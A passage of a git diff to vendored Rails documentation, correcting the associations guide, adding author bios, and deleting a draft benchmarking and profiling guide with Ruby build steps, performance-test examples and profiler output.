:integer + t.datetime :order_date + t.string :order_number + t.integer :customer_id end end @@ -426,7 +430,9 @@ end If you create an association some time after you build the underlying model, you need to remember to create an +add_column+ migration to provide the necessary foreign key. -Second, if you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record create the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering. +==== Creating Join Tables for +has_and_belongs_to_many+ Associations + +If you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record create the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering. WARNING: The precedence between model names is calculated using the +<+ operator for +String+. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers". @@ -1330,7 +1336,7 @@ end ===== +:offset+ -The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 10 records. +The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 11 records. ===== +:order+ @@ -1698,7 +1704,7 @@ end ===== +:offset+ -The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 10 records. +The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 11 records. ===== +:order+ diff --git a/vendor/rails/railties/doc/guides/source/authors.txt b/vendor/rails/railties/doc/guides/source/authors.txt index 94dfc4db..d4862fe4 100644 --- a/vendor/rails/railties/doc/guides/source/authors.txt +++ b/vendor/rails/railties/doc/guides/source/authors.txt @@ -37,3 +37,21 @@ Heiko has rarely looked back. Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. His home on the internet is his blog http://tore.darell.no/[Sneaky Abstractions]. *********************************************************** + +.Jeff Dean +[[zilkey]] +*********************************************************** +Jeff Dean is a software engineer with http://pivotallabs.com/[Pivotal Labs]. +*********************************************************** + +.Cássio Marques +[[cmarques]] +*********************************************************** +Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, C++ and Java, as an independent consultant. He blogs at http://cassiomarques.wordpress.com, which is mainly written in portuguese, but will soon get a new section for posts with english translation. +*********************************************************** + +.Pratik Naik +[[lifo]] +*********************************************************** +Pratik Naik is an independent Ruby on Rails consultant and also a member of the http://rubyonrails.com/core[Rails core team]. He blogs semi-regularly at http://m.onkey.org[has_many :bugs, :through => :rails] and has an active http://twitter.com/lifo[twitter account] . +*********************************************************** diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/appendix.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/appendix.txt deleted file mode 100644 index 8e2e383f..00000000 --- a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/appendix.txt +++ /dev/null @@ -1,95 +0,0 @@ -== Other Profiling Tools == - -There are a lot of great profiling tools out there. Some free, some not so free. This is a sort list detailing some of them. - -=== httperf === -http://www.hpl.hp.com/research/linux/httperf/[http://www.hpl.hp.com/research/linux/httperf/] - -A necessary tool in your arsenal. Very useful for load testing your website. - -#TODO write and link to a short article on how to use httperf. Anybody have a good tutorial availble. - - -=== Rails Analyzer === - -The Rails Analyzer project contains a collection of tools for Rails. It's open source and pretty speedy. It's not being actively worked on but is still contains some very useful tools. - -* The Production Log Analyzer examines Rails log files and gives back a report. It also includes action_grep which will give you all log results for a particular action. - -* The Action Profiler similar to Ruby-Prof profiler. - -* rails_stat which gives a live counter of requests per second of a running Rails app. - -* The SQL Dependency Grapher allows you to visualize the frequency of table dependencies in a Rails application. - -Their project homepage can be found at http://rails-analyzer.rubyforge.org/[http://rails-analyzer.rubyforge.org/] - -The one major caveat is that it needs your log to be in a different format from how rails sets it up specifically SyslogLogger. - - -==== SyslogLogger ==== - -SyslogLogger is a Logger work-alike that logs via syslog instead of to a file. You can add SyslogLogger to your Rails production environment to aggregate logs between multiple machines. - -More information can be found out at http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html[http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html] - -If you don't have access to your machines root system or just want something a bit easier to implement there is also a module developed by Geoffrey Grosenbach - -==== A Hodel 3000 Compliant Logger for the Rest of Us ==== - -Directions taken from -http://topfunky.net/svn/plugins/hodel_3000_compliant_logger/lib/hodel_3000_compliant_logger.rb[link to module file] - -Just put the module in your lib directory and add this to your environment.rb in it's config portion. - ------------------------------------------------------------- -require 'hodel_3000_compliant_logger' -config.logger = Hodel3000CompliantLogger.new(config.log_path) -------------------------------------------------------------- - -It's that simple. Your log output on restart should look like this. - -.Hodel 3000 Example ----------------------------------------------------------------------------- -Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: -Parameters: {"action"=>"shipping", "controller"=>"checkout"} -Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:  -[4;36;1mBook Columns (0.003155) SHOW FIELDS FROM `books` -Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:  -[4;35;1mBook Load (0.000881) SELECT * FROM `books` WHERE (`books`.`id` = 1 AND (`books`.`sold` = 1))  -Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:  -[4;36;1mShippingAddress Columns (0.002683) SHOW FIELDS FROM `shipping_addresses` -Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:  -[4;35;1mBook Load (0.000362) SELECT ounces FROM `books` WHERE (`books`.`id` = 1)  -Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: -Rendering template within layouts/application -Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: -Rendering checkout/shipping -Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:  -[4;36;1mBook Load (0.000548) SELECT * FROM `books` -WHERE (sold = 0) LIMIT 3 -Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:  -[4;35;1mAuthor Columns (0.002571) SHOW FIELDS FROM `authors` -Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: -Author Load (0.000811) SELECT * FROM `authors` WHERE (`authors`.`id` = 1)  -Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: -Rendered store/_new_books (0.01358) -Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: -Completed in 0.37297 (2 reqs/sec) | Rendering: 0.02971 (7%) | DB: 0.01697 (4%) | 200 OK [https://secure.jeffbooks/checkout/shipping] ----------------------------------------------------------------------------- - -=== Palmist === -An open source mysql query analyzer. Full featured and easy to work with. Also requires Hodel 3000 -http://www.flyingmachinestudios.com/projects/[http://www.flyingmachinestudios.com/projects/] - -=== New Relic === -http://www.newrelic.com/[http://www.newrelic.com/] - -Pretty nifty performance tools, pricey though. They do have a basic free -service both for when in development and when you put your application into production. Very simple installation and signup. - -#TODO more in-depth without being like an advertisement. - -==== Manage ==== - -Like new relic a production monitoring tool. diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt deleted file mode 100644 index fe22fba0..00000000 --- a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt +++ /dev/null @@ -1,105 +0,0 @@ -== Real Life Example == -=== The setup === - -So I have been building this application for the last month and feel pretty good about the ruby code. I'm readying it for beta testers when I discover to my shock that with less then twenty people it starts to crash. It's a pretty simple Ecommerce site so I'm very confused by what I'm seeing. On running looking through my log files I find to my shock that the lowest time for a page run is running around 240 ms. My database finds aren't the problems so I'm lost as to what is happening to cause all this. Lets run a benchmark. - - -[source, ruby] ----------------------------------------------------------------------------- -class HomepageTest < ActionController::PerformanceTest - # Replace this with your real tests. - def test_homepage - get '/' - end -end ----------------------------------------------------------------------------- - -.Output ----------------------------------------------------------------------------- -HomepageTest#test_homepage (115 ms warmup) - process_time: 591 ms - memory: 3052.90 KB - objects: 59471 ----------------------------------------------------------------------------- - - - -Obviously something is very very wrong here. 3052.90 Kb to load my minimal homepage. For Comparison for another site running well I get this for my homepage test. - -.Default ----------------------------------------------------------------------------- -HomepageTest#test_homepage (19 ms warmup) - process_time: 26 ms - memory: 298.79 KB - objects: 1917 ----------------------------------------------------------------------------- - -that over a factor of ten difference. Lets look at our flat process time file to see if anything pops out at us. - -.Process time ----------------------------------------------------------------------------- -20.73 0.39 0.12 0.00 0.27 420 Pathname#cleanpath_aggressive -17.07 0.14 0.10 0.00 0.04 3186 Pathname#chop_basename - 6.47 0.06 0.04 0.00 0.02 6571 Kernel#=== - 5.04 0.06 0.03 0.00 0.03 840 Pathname#initialize - 5.03 0.05 0.03 0.00 0.02 4 ERB::Compiler::ExplicitScanner#scan - 4.51 0.03 0.03 0.00 0.00 9504 String#== - 2.94 0.46 0.02 0.00 0.44 1393 String#gsub - 2.66 0.09 0.02 0.00 0.07 480 Array#each - 2.46 0.01 0.01 0.00 0.00 3606 Regexp#to_s ----------------------------------------------------------------------------- - -Yes indeed we seem to have found the problem. Pathname#cleanpath_aggressive is taking nearly a quarter our process time and Pathname#chop_basename another 17%. From here I do a few more benchmarks to make sure that these processes are slowing down the other pages. They are so now I know what I must do. *If we can get rid of or shorten these processes we can make our pages run much quicker*. - -Now both of these are main ruby processes so are goal right now is to find out what other process is calling them. Glancing at our Graph file I see that #cleanpath is calling #cleanpath_aggressive. #cleanpath is being called by String#gsub and from there some html template errors. But my page seems to be rendering fine. why would it be calling template errors. I'm decide to check my object flat file to see if I can find any more information. - -.Objects Created ----------------------------------------------------------------------------- -20.74 34800.00 12324.00 0.00 22476.00 420 Pathname#cleanpath_aggressive -16.79 18696.00 9978.00 0.00 8718.00 3186 Pathname#chop_basename -11.47 13197.00 6813.00 0.00 6384.00 480 Array#each - 8.51 41964.00 5059.00 0.00 36905.00 1386 String#gsub - 6.07 3606.00 3606.00 0.00 0.00 3606 Regexp#to_s ----------------------------------------------------------------------------- - -nope nothing new here. Lets look at memory usage - -.Memory Consuption ----------------------------------------------------------------------------- - 40.17 1706.80 1223.70 0.00 483.10 3186 Pathname#chop_basename - 14.92 454.47 454.47 0.00 0.00 3606 Regexp#to_s - 7.09 2381.36 215.99 0.00 2165.37 1386 String#gsub - 5.08 231.19 154.73 0.00 76.46 420 Pathname#prepend_prefix - 2.34 71.35 71.35 0.00 0.00 1265 String#initialize_copy ----------------------------------------------------------------------------- - -Ok so it seems Regexp#to_s is the second costliest process. At this point I try to figure out what could be calling a regular expression cause I very rarely use them. Going over my standard layout I discover at the top. - - -[source, html] ----------------------------------------------------------------------------- -<%if request.env["HTTP_USER_AGENT"].match(/Opera/)%> -<%= stylesheet_link_tag "opera" %> -<% end %> ----------------------------------------------------------------------------- - -That's wrong. I mistakenly am using a search function for a simple compare function. Lets fix that. - - -[source, html] ----------------------------------------------------------------------------- -<%if request.env["HTTP_USER_AGENT"] =~ /Opera/%> -<%= stylesheet_link_tag "opera" %> -<% end %> ----------------------------------------------------------------------------- - -I'll now try my test again. - ----------------------------------------------------------------------------- -process_time: 75 ms - memory: 519.95 KB - objects: 6537 ----------------------------------------------------------------------------- - -Much better. The problem has been solved. Now I should have realized earlier due to the String#gsub that my problem had to be with reqexp serch function but such knowledge comes with time. Looking through the mass output data is a skill. - diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt deleted file mode 100644 index 765a1e21..00000000 --- a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt +++ /dev/null @@ -1,185 +0,0 @@ -== Performance Testing Built into Rails == - -As of June 20, 2008 edge rails has had a new type of Unit test geared towards profiling. Of course like most great things, getting it working takes bit of work. The test relies on statistics gathered from the Garbage Collection that isn't readily available from standard compiled ruby. There is a patch located at http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch[http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch] - -Also the test requires a new version of Ruby-Prof version of 0.6.1. It is not readily available at the moment and can most easily be found as a tarball on github. It's repository is located at git://github.com/jeremy/ruby-prof.git. - -What follows is a description of how to set up an alternative ruby install to use these features - -=== Compiling the Interpreter === - - -[source, shell] ----------------------------------------------------------------------------- -[User ~]$ mkdir rubygc -[User ~]$ wget ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p111.tar.gz -[User ~]$ tar -xzvf ruby-1.8.6-p111.tar.gz -[User ~]$ cd ruby-1.8.6-p111 -[User ruby-1.8.6-p111]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0 - -#I like putting my alternative ruby builds in an opt directory, set the prefix to where ever you feel is most comfortable. - -[User ruby-1.8.6-p111]$ ./configure --prefix=/opt/rubygc -[User ruby-1.8.6-p111]$ sudo make && make install ----------------------------------------------------------------------------- - -Add the following lines in your \~/.profile or \~/.bash\_login for convenience. - ----------------------------------------------------------------------------- -alias gcruby='/opt/rubygc/rubygc/bin/ruby' -alias gcrake='/opt/rubygc/rubygc/bin/rake' -alias gcgem='/opt/rubygc/rubygc/bin/gem' -alias gcirb=/opt/rubygc/rubygc/bin/irb' -alias gcrails='/opt/rubygc/rubygc/bin/rails' ----------------------------------------------------------------------------- - -=== Installing RubyGems === - -Next we need to install rubygems and rails so that we can use the interpreter properly. - - -[source, shell] ----------------------------------------------------------------------------- -[User ~]$ wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz -[User ~]$ tar -xzvf rubygems-1.2.0.tgz -[User ~]$ cd rubygems-1.2.0 -[User rubygems-1.2.0]$ gcruby setup.rb -[User rubygems-1.2.0]$ cd ~ -[User ~]$ gcgem install rake -[User ~]$ gcgem install mysql -[User ~]$ gcgem install rails ----------------------------------------------------------------------------- - -If installing mysql gem fails ( like it did for me ), you will have to manually install it : - -[source, shell] ----------------------------------------------------------------------------- -[User ~]$ cd /Users/lifo/rubygc/lib/ruby/gems/1.8/gems/mysql-2.7/ -[User mysql-2.7]$ gcruby extconf.rb --with-mysql-config -[User mysql-2.7]$ make && make install ----------------------------------------------------------------------------- - -=== Installing Jeremy Kemper's ruby-prof === - -We are in the home stretch. All we need now is ruby-proff 0.6.1 - - -[source, shell] ----------------------------------------------------------------------------- -[User ~]$ git clone git://github.com/jeremy/ruby-prof.git -[User ~]$ cd ruby-prof/ -[User ruby-prof (master)]$ gcrake gem -[User ruby-prof (master)]$ gcgem install pkg/ruby-prof-0.6.1.gem ----------------------------------------------------------------------------- - -Finished, go get yourself a power drink! - -=== Ok so I lied, a few more things we need to do === - -You have everything we need to start profiling through rails Unit Testing. Unfortunately we are still missing a few files. I'm going to do the next step on a fresh Rails app, but it will work just as well on developmental 2.1 rails application. - -==== The Rails App ==== - -First I need to generate a rail app - -[source, shell] ----------------------------------------------------------------------------- -[User ~]$ gcrails profiling_tester -d mysql -[User ~]$ cd profiling_tester -[User profiling_tester]$ script/generate scaffold item name:string -[User profiling_tester]$ gcrake db:create:all -[User profiling_tester]$ gcrake db:migrate -[User profiling_tester (master)]$ rm public/index.html ----------------------------------------------------------------------------- - -Now I'm going to init it as a git repository and add edge rails as a submodule to it. - -[source, shell] ----------------------------------------------------------------------------- -[User profiling_tester]$ git init -[User profiling_tester (master)]$ git submodule add git://github.com/rails/rails.git vendor/rails ----------------------------------------------------------------------------- - -Finally we want to change config.cache_classes to true in our environment.rb - ----------------------------------------------------------------------------- -config.cache_classes = true ----------------------------------------------------------------------------- - -If we don't cache classes, then the time Rails spends reloading and compiling our models and controllers will confound our results. Obviously we will try to make our test setup as similar as possible to our production environment. - -=== Generating and Fixing the tests === - -Ok next we need to generate the test script. - -[source, shell] ----------------------------------------------------------------------------- -[User profiling_tester (master)]$ script/generate performance_test homepage ----------------------------------------------------------------------------- - -This will generate _test/performance/homepage_test.rb_ for you. However, as I have generated the project using Rails 2.1 gem, we'll need to manually generate one more file before we can go ahead. - -We need to put the following inside _test/performance/test_helper.rb - - -[source, ruby] ----------------------------------------------------------------------------- -require 'test_helper' -require 'performance_test_help' ----------------------------------------------------------------------------- - -Though this depends where you run your tests from and your system config. I myself run my tests from the Application root directory - -so instead of - -[source, ruby] ----------------------------------------------------------------------------- -require 'test_helper' - -#I have - -require 'test/test_helper' ----------------------------------------------------------------------------- - -Also I needed to change homepage_test.rb to reflect this also - -[source, ruby] ----------------------------------------------------------------------------- -require 'test/performance/test_helper.rb' ----------------------------------------------------------------------------- - -=== Testing === - -#TODO is there some way to compare multiple request at once like ruby_analyze - -Now, if we look at the generated performance test ( one we generated using _script/generate performance_test_ ), it'll look something like : - -[source, ruby] ----------------------------------------------------------------------------- -.require 'performance/test_helper' - -class HomepageTest < ActionController::PerformanceTest - # Replace this with your real tests. - def test_homepage - get '/' - end -end ----------------------------------------------------------------------------- - - -The format looks very similar to that of an integration test. And guess what, that's what it is. But that doesn't stop you from testing your Model methods. You could very well write something like : - -[source, ruby] ----------------------------------------------------------------------------- -require 'performance/test_helper' - -class UserModelTest < ActionController::PerformanceTest - # Replace this with your real tests. - def test_slow_find - User.this_takes_shlong_to_run - end -end ----------------------------------------------------------------------------- - - -Which is very useful way to profile individual processes. diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt deleted file mode 100644 index 1f1d365e..00000000 --- a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt +++ /dev/null @@ -1,27 +0,0 @@ -== Get Yourself a Game Plan == - -You end up dealing with a large amount of data whenever you profile an application. It's crucial to use a rigorous approach to analyzing your application's performance else fail miserably in a vortex of numbers. This leads us to - - -=== The Analysis Process === - -I’m going to give an example methodology for conducting your benchmarking and profiling on an application. It is based on your typical scientific method. - -For something as complex as Benchmarking you need to take any methodology with a grain of salt but there are some basic strictures that you can depend on. - -Formulate a question you need to answer which is simple, tests the smallest measurable thing possible, and is exact. This is typically the hardest part of the experiment. From there some steps that you should follow are. - -* Develop a set of variables and processes to measure in order to answer this question! -* Profile based on the question and variables. Key problems to avoid when designing this experiment are: - - Confounding: Test one thing at a time, keep everything the same so you don't poison the data with uncontrolled processes. - - Cross Contamination: Make sure that runs from one test do not harm the other tests. - - Steady States: If you’re testing long running process. You must take the ramp up time and performance hit into your initial measurements. - - Sampling Error: Data should perform have a steady variance or range. If you get wild swings or sudden spikes, etc. then you must either account for the reason why or you have a sampling error. - - Measurement Error: Aka Human error, always go through your calculations at least twice to make sure there are no mathematical errors. . -* Do a small run of the experiment to verify the design. -* Use the small run to determine a proper sample size. -* Run the test. -* Perform the analysis on the results and determine where to go from there. - -Note: Even though we are using the typical scientific method; developing a hypothesis is not always useful in terms of profiling. - - diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/index.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/index.txt deleted file mode 100644 index ef45ff62..00000000 --- a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/index.txt +++ /dev/null @@ -1,242 +0,0 @@ -Benchmarking and Profiling Rails -================================ - -This guide covers the benchmarking and profiling tactics/tools of Rails and Ruby in general. By referring to this guide, you will be able to: - -* Understand the various types of benchmarking and profiling metrics -* Generate performance/benchmarking tests -* Use GC patched Ruby binary to measure memory usage and object allocation -* Understand the information provided by Rails inside the log files -* Learn about various tools facilitating benchmarking and profiling - -== Why Benchmark and Profile ? - -Benchmarking and Profiling is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a plesant browsing experience to the end users and cutting cost of unnecessary hardwares is important for any web application. - -=== What is the difference between benchmarking and profiling ? === - -Benchmarking is the process of finding out if a piece of code is slow or not. Whereas profiling is the process of finding out what exactly is slowing down that piece of code. - -== Using and understanding the log files == - -Rails logs files containt basic but very useful information about the time taken to serve every request. A typical log entry looks something like : - -[source, ruby] ----------------------------------------------------------------------------- -Processing ItemsController#index (for 127.0.0.1 at 2008-10-17 00:08:18) [GET] - Session ID: BAh7BiIKZmxhc2hJQzonQWN0aHsABjoKQHVzZWR7AA==--83cff4fe0a897074a65335 - Parameters: {"action"=>"index", "controller"=>"items"} -Rendering template within layouts/items -Rendering items/index -Completed in 5ms (View: 2, DB: 0) | 200 OK [http://localhost/items] ----------------------------------------------------------------------------- - -For this section, we're only interested in the last line from that log entry: - -[source, ruby] ----------------------------------------------------------------------------- -Completed in 5ms (View: 2, DB: 0) | 200 OK [http://localhost/items] ----------------------------------------------------------------------------- - -This data is fairly straight forward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller. - -== Helper methods == - -Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a specific code. The method is called +benchmark()+ in all three components. - -[source, ruby] ----------------------------------------------------------------------------- -Project.benchmark("Creating project") do - project = Project.create("name" => "stuff") - project.create_manager("name" => "David") - project.milestones << Milestone.find(:all) -end ----------------------------------------------------------------------------- - -The above code benchmarks the multiple statments enclosed inside +Project.benchmark("Creating project") do..end+ block and prints the results inside log files. The statement inside log files will look like: - -[source, ruby] ----------------------------------------------------------------------------- -Creating projectem (185.3ms) ----------------------------------------------------------------------------- - -Please refer to http://api.rubyonrails.com/classes/ActiveRecord/Base.html#M001336[API docs] for optional options to +benchmark()+ - -Similarly, you could use this helper method inside http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[controllers] ( Note that it's a class method here ): - -[source, ruby] ----------------------------------------------------------------------------- -def process_projects - self.class.benchmark("Processing projects") do - Project.process(params[:project_ids]) - Project.update_cached_projects - end -end ----------------------------------------------------------------------------- - -and http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[views]: - -[source, ruby] ----------------------------------------------------------------------------- -<% benchmark("Showing projects partial") do %> - <%= render :partial => @projects %> -<% end %> ----------------------------------------------------------------------------- - -== Performance Test Cases == - -Rails provides a very easy to write performance test cases, which look just like the regular integration tests. - -If you have a look at +test/performance/browsing_test.rb+ in a newly created Rails application: - -[source, ruby] ----------------------------------------------------------------------------- -require 'test_helper' -require 'performance_test_help' - -# Profiling results for each test method are written to tmp/performance. -class BrowsingTest < ActionController::PerformanceTest - def test_homepage - get '/' - end -end ----------------------------------------------------------------------------- - -This is an automatically generated example performance test file, for testing performance of homepage('/') of the application. - -=== Modes === - -==== Benchmarking ==== -==== Profiling ==== - -=== Metrics === - -==== Process Time ==== - -CPU Cycles. - -==== Memory ==== - -Memory taken. - -==== Objects ==== - -Objects allocated. - -==== GC Runs ==== - -Number of times the Ruby GC was run. - -==== GC Time ==== - -Time spent running the Ruby GC. - -=== Preparing Ruby and Ruby-prof === - -Before we go ahead, Rails performance testing requires you to build a special Ruby binary with some super powers - GC patch for measuring GC Runs/Time. This process is very straight forward. If you've never compiled a Ruby binary before, you can follow the following steps to build a ruby binary inside your home directory: - -==== Compile ==== - -[source, shell] ----------------------------------------------------------------------------- -[lifo@null ~]$ mkdir rubygc -[lifo@null ~]$ wget ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p111.tar.gz -[lifo@null ~]$ tar -xzvf ruby-1.8.6-p111.tar.gz -[lifo@null ~]$ cd ruby-1.8.6-p111 -[lifo@null ruby-1.8.6-p111]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0 -[lifo@null ruby-1.8.6-p111]$ ./configure --prefix=/Users/lifo/rubygc -[lifo@null ruby-1.8.6-p111]$ make && make install ----------------------------------------------------------------------------- - -==== Prepare aliases ==== - -Add the following lines in your ~/.profile for convenience: - ----------------------------------------------------------------------------- -alias gcruby='/Users/lifo/rubygc/bin/ruby' -alias gcrake='/Users/lifo/rubygc/bin/rake' -alias gcgem='/Users/lifo/rubygc/bin/gem' -alias gcirb='/Users/lifo/rubygc/bin/irb' -alias gcrails='/Users/lifo/rubygc/bin/rails' ----------------------------------------------------------------------------- - -==== Install rubygems and some basic gems ==== - ----------------------------------------------------------------------------- -[lifo@null ~]$ wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz -[lifo@null ~]$ tar -xzvf rubygems-1.2.0.tgz -[lifo@null ~]$ cd rubygems-1.2.0 -[lifo@null rubygems-1.2.0]$ gcruby setup.rb -[lifo@null rubygems-1.2.0]$ cd ~ -[lifo@null ~]$ gcgem install rake -[lifo@null ~]$ gcgem install rails ----------------------------------------------------------------------------- - -==== Install MySQL gem ==== - ----------------------------------------------------------------------------- -[lifo@null ~]$ gcgem install mysql ----------------------------------------------------------------------------- - -If this fails, you can try to install it manually: - ----------------------------------------------------------------------------- -[lifo@null ~]$ cd /Users/lifo/rubygc/lib/ruby/gems/1.8/gems/mysql-2.7/ -[lifo@null mysql-2.7]$ gcruby extconf.rb --with-mysql-config -[lifo@null mysql-2.7]$ make && make install ----------------------------------------------------------------------------- - -=== Installing Jeremy Kemper's ruby-prof === - -We also need to install Jeremy's ruby-prof gem using our newly built ruby: - -[source, shell] ----------------------------------------------------------------------------- -[lifo@null ~]$ git clone git://github.com/jeremy/ruby-prof.git -[lifo@null ~]$ cd ruby-prof/ -[lifo@null ruby-prof (master)]$ gcrake gem -[lifo@null ruby-prof (master)]$ gcgem install pkg/ruby-prof-0.6.1.gem ----------------------------------------------------------------------------- - -=== Generating performance test === - -Rails provides a simple generator for creating new performance tests: - -[source, shell] ----------------------------------------------------------------------------- -[lifo@null application (master)]$ script/generate performance_test homepage ----------------------------------------------------------------------------- - -This will generate +test/performance/homepage_test.rb+: - -[source, ruby] ----------------------------------------------------------------------------- -require 'test_helper' -require 'performance_test_help' - -class HomepageTest < ActionController::PerformanceTest - # Replace this with your real tests. - def test_homepage - get '/' - end -end ----------------------------------------------------------------------------- - -Which you can modify to suit your needs. - -=== Running tests === - -include::rubyprof.txt[] - -include::digging_deeper.txt[] - -include::gameplan.txt[] - -include::appendix.txt[] - -== Changelog == - -http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4[Lighthouse ticket] - -* October 17, 2008: First revision by Pratik -* September 6, 2008: Initial version by Matthew Bergman \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt deleted file mode 100644 index fa01d413..00000000 --- a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt +++ /dev/null @@ -1,179 +0,0 @@ -== Understanding Performance Tests Outputs == - -=== Our First Performance Test === - -So how do we profile a request. - -One of the things that is important to us is how long it takes to render the home page - so let's make a request to the home page. Once the request is complete, the results will be outputted in the terminal. - -In the terminal run - -[source, ruby] ----------------------------------------------------------------------------- -[User profiling_tester]$ gcruby tests/performance/homepage.rb ----------------------------------------------------------------------------- - -After the tests runs for a few seconds you should see something like this. - ----------------------------------------------------------------------------- -HomepageTest#test_homepage (19 ms warmup) - process_time: 26 ms - memory: 298.79 KB - objects: 1917 - -Finished in 2.207428 seconds. ----------------------------------------------------------------------------- - -Simple but efficient. - -* Process Time refers to amount of time necessary to complete the action. -* memory is the amount of information loaded into memory -* object ??? #TODO find a good definition. Is it the amount of objects put into a ruby heap for this process? - -In addition we also gain three types of itemized log files for each of these outputs. They can be found in your tmp directory of your application. - -*The Three types are* - -* Flat File - A simple text file with the data laid out in a grid -* Graphical File - A html colored coded version of the simple text file with hyperlinks between the various methods. Most useful is the bolding of the main processes for each portion of the action. -* Tree File - A file output that can be use in conjunction with KCachegrind to visualize the process - -NOTE: KCachegrind is Linux only. For Mac this means you have to do a full KDE install to have it working in your OS. Which is over 3 gigs in size. For windows there is clone called wincachegrind but it is no longer actively being developed. - -Below are examples for Flat Files and Graphical Files - -=== Flat Files === - -.Flat File Output Processing Time -============================================================================ -Thread ID: 2279160 -Total: 0.026097 - - %self total self wait child calls name - 6.41 0.06 0.04 0.00 0.02 571 Kernel#=== - 3.17 0.00 0.00 0.00 0.00 172 Hash#[] - 2.42 0.00 0.00 0.00 0.00 13 MonitorMixin#mon_exit - 2.05 0.00 0.00 0.00 0.00 15 Array#each - 1.56 0.00 0.00 0.00 0.00 6 Logger#add - 1.55 0.00 0.00 0.00 0.00 13 MonitorMixin#mon_enter - 1.36 0.03 0.00 0.00 0.03 1 ActionController::Integration::Session#process - 1.31 0.00 0.00 0.00 0.00 13 MonitorMixin#mon_release - 1.15 0.00 0.00 0.00 0.00 8 MonitorMixin#synchronize-1 - 1.09 0.00 0.00 0.00 0.00 23 Class#new - 1.03 0.01 0.00 0.00 0.01 5 MonitorMixin#synchronize - 0.89 0.00 0.00 0.00 0.00 74 Hash#default - 0.89 0.00 0.00 0.00 0.00 6 Hodel3000CompliantLogger#format_message - 0.80 0.00 0.00 0.00 0.00 9 c - 0.80 0.00 0.00 0.00 0.00 11 ActiveRecord::ConnectionAdapters::ConnectionHandler#retrieve_connection_pool - 0.79 0.01 0.00 0.00 0.01 1 ActionController::Benchmarking#perform_action_without_rescue - 0.18 0.00 0.00 0.00 0.00 17 #allocate -============================================================================ - -So what do these columns tell us: - - * %self - The percentage of time spent processing the method. This is derived from self_time/total_time - * total - The time spent in this method and its children. - * self - The time spent in this method. - * wait - Time processed was queued - * child - The time spent in this method's children. - * calls - 